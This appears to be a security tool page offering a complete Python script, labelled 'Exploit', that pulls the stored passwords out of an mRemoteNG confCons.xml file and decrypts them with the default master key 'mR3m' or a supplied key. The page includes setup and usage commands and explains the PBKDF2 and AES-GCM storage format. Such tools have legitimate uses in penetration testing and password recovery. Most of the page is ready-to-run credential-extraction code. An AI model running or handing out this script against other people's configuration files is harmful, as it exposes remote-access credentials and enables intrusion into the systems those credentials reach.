PRIMARY CATEGORY โ MREMOTENG
Password decyption ๐ฅ โ mRemoteNG Software
Affected Versions ๐จ โ 1.75 and newer
Description
This tool works in two ways, by decrypting the encrypted password provided in a base64 format or by extracting, from a supplied XML file (e.g. confCons.xml), the passwords it contains to decrypt them as well
It only works in 1.75 version or later, as the mRemoteNG sofware, from that version, changes the password storage method, using PBKDF2 to derive the symmetric key and AES-GCM to encrypt the password
After that, all the following elements are concatenated and the resulting string is base64-encoded
- Salt used in PBKDF2
- IV or nonce used in AES-GCM
- Encrypted data
- Tag generated by AES-GCM
Setup
python3 -m venv ./venv
source ./venv/bin/activate
pip install -r ./requirements.txt
Usage
Help Display
python3 mRemoteNG.py --help
Script Execution
python3 mRemoteNG.py [OPTS]
e.g.
File
python3 mRemoteNG.py --file confCons.xml # Default Master Key (mR3m)
python3 mRemoteNG.py --file confCons.xml --key '<CUSTOM_MASTER_KEY>'
Password
python3 mRemoteNG.py --password "<BASE64_STRING>" # Default Master Key (mR3m)
python3 mRemoteNG.py --password "BASE64_STRING" --key '<CUSTOM_MASTER_KEY>'
Zoom In
Code
Exploit
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Protocol.KDF import PBKDF2 from colorama import Fore, Style import re import sys import argparse import base64 from pwn import * def banner(): return Fore.GREEN + """ โโโโ โโโโโโโโโโโโ โโโ โ โโโโโโ โโโโโโ โโโโ โโโโโโโโโโโ โ โ โโโโ โ โ โ โ โโ โโโโโโ โ โ โ โ โโโโโโโโโโโโโโโโ โโ โ โโโโโโโโ โ โ โ โ โโโโโโ โ โ โโโโโโโโโ โ โโโโโ โโ โโโโโโ โโโโโโโ โโ โ โโโโโ โ โโโโ โโโโโ โโ โโ โโ โโ โโ โโโโโโ โโโโโ โ โ โ โโ โโ โโโ โ โโ """ + Style.RESET_ALL class Decrypter: def __init__(self, key): self.key = key def keyDerivation(self, salt): """ Method to apply PBKDF2 to the master key (Symmetric Encryption Key) """ key = PBKDF2(self.key, salt, 32, count=1000) # SHA1 by default return key def decryptPasswd(self, passwd): """ Method to decrypt the supplied password encrypted using AES-GCM and return it as plain text - Decode the base64 password and extract from it the salt, iv, cipher object and tag used in the encryption - Apply to the master key a PBKDF2 to proceed with the AES-GCM Decryption - Generate a AES-GCM Cipher object passing the IV and derivated key - Update the created object with an associated data corresponding to the salt - Verify the HMAC (tag) and decrypt the cipher object extracted from the supplied password """ try: passwd = base64.b64decode(passwd.encode()) salt, iv, cipher_obj, tag = passwd[:16], passwd[16:32], passwd[32:-16], passwd[-16:] key = self.keyDerivation(salt) cipher = AES.new(key, AES.MODE_GCM, iv) cipher.update(salt) plain_obj = cipher.decrypt_and_verify(cipher_obj, tag).decode() except Exception as e: print(Fore.RED + f"[!] Error โ: {e}" + Style.RESET_ALL) print(Fore.MAGENTA + f"[!] Invalid encryption data or master key" + Style.RESET_ALL) sys.exit(1) print( Fore.CYAN + f"""[+] Password โฎ [*] Encrypted ๐: {Fore.GREEN}{base64.b64encode(passwd).decode()} {Fore.CYAN}[*] Plain ๐: {Fore.MAGENTA}{plain_obj} """ + Style.RESET_ALL ) def passwdExtract(self, file): """ Method to extract the Password Tags' value from the supplied XML file e.g. confCons.xml """ try: with open(file, 'r', encoding='UTF-8') as f: content = f.read() except Exception as e: print(Fore.RED + f"Error โ: {e}" + Style.RESET_ALL) sys.exit(1) passwords = re.findall(r'\sPassword="(.*?)"' , content) if not passwords: print(Fore.RED + f"[!] Error: No password field found in {file}" + Style.RESET_ALL) sys.exit(1) else: for passwd in passwords: self.decryptPasswd(passwd) if __name__ == "__main__": parser = argparse.ArgumentParser( description=f"{Fore.MAGENTA}Tool to decrypt mRemoteNG stored passwords{Style.RESET_ALL}" ) parser.add_argument("--file", "-f", help="XML File that contains the encrypted password (e.g. confCons.xml)") parser.add_argument("--password", "-p", help="Encrypted password in base64 format") parser.add_argument("--key", "-k", help="Master Key used to encrypt passwords. Default: mR3m", default="mR3m") print(banner()) opts = parser.parse_args() decrypter = Decrypter(opts.key) if opts.file is not None: p = log.progress(Fore.CYAN + f"Decrypt" + Style.RESET_ALL) p.status(Fore.MAGENTA + f"Trying to decrypt the passwords... โ\n" + Style.RESET_ALL) time.sleep(1) decrypter.passwdExtract(opts.file) elif opts.password is not None: p = log.progress(Fore.CYAN + f"Decrypt" + Style.RESET_ALL) p.status(Fore.MAGENTA + f"Trying to decrypt the passwords... โ\n" + Style.RESET_ALL) time.sleep(1) decrypter.decryptPasswd(opts.password) else: parser.print_help() sys.exit(1)
References
Reference Iย ย ย ย โขย ย ย ย Reference IIย ย ย ย โขย ย ย ย Reference IIIย ย ย ย โขย ย ย ย Reference IV